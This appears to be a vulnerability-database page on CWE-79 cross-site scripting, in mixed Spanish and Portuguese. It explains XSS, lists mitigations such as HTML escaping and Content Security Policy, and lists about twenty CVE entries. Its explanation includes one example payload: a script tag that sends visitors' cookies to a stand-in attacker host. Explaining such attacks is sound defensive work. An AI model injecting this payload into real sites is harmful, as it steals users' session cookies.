Fallos del tipo CWE-79

30.537 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-115596HIGHWordPress eCommerce Product Catalog plugin <= 3.6.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-67103HIGHHCL BigFix Service Management is affected by multiple security vulnerabilities.EPSS 0.2%CVE-2025-10931LOWUmami Analytics - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-109EPSS 0.2%CVE-2026-115612HIGHWordPress SliceWP plugin <= 1.2.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-41027MEDIUMMultiple vulnerabilities in GDTallerEPSS 0.2%CVE-2026-112869HIGHWordPress We’re Open! plugin <= 2.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-2099MEDIUMFlowring｜AgentFlow - Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-66359HIGHAn issue was discovered in Logpoint before 7.7.0. Insufficient input validation and a lack of output escaping in multiple components leads tEPSS 0.2%CVE-2026-116621MEDIUMUltimate Member <= 2.14.1 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Custom Textarea Profile FieldEPSS 0.2%CVE-2022-23961MEDIUMIn Thruk Monitoring through 2.46.3, the login field of the login form is vulnerable to reflected XSS. This vulnerability can be exploited byEPSS 0.2%CVE-2025-66484MEDIUMMultiple vulnerabilities have been addressed in IBM Aspera SharesEPSS 0.2%CVE-2026-24620MEDIUMWordPress Landing Page Builder plugin <= 1.5.3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-8082MEDIUMVuetify XSS via unsanitized 'titleDateFormat' in 'VDatePicker'EPSS 0.2%CVE-2023-53738MEDIUMKentico Xperience <= 13.0.109 Page Preview Reflected XSSEPSS 0.2%CVE-2026-112844HIGHWordPress WP Event Solution plugin <= 4.1.26 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-56347MEDIUMAVideo TopMenu Plugin - Stored Cross-Site Scripting via Unescaped Menu Item FieldsEPSS 0.2%CVE-2026-32859MEDIUMByteDance DeerFlow Stored XSS via Inline Artifact RenderingEPSS 0.2%CVE-2025-57700HIGHStored Cross-site Scripting in DIAEnergieEPSS 0.2%CVE-2025-67263MEDIUMAbacre Retail Point of Sale 14.0.0.396 is affected by a stored cross-site scripting (XSS) vulnerability in the Clients module. The applicatiEPSS 0.2%CVE-2025-25063MEDIUMAn XSS issue was discovered in Backdrop CMS 1.28.x before 1.28.5 and 1.29.x before 1.29.3. It does not sufficiently validate uploaded SVG imEPSS 0.2%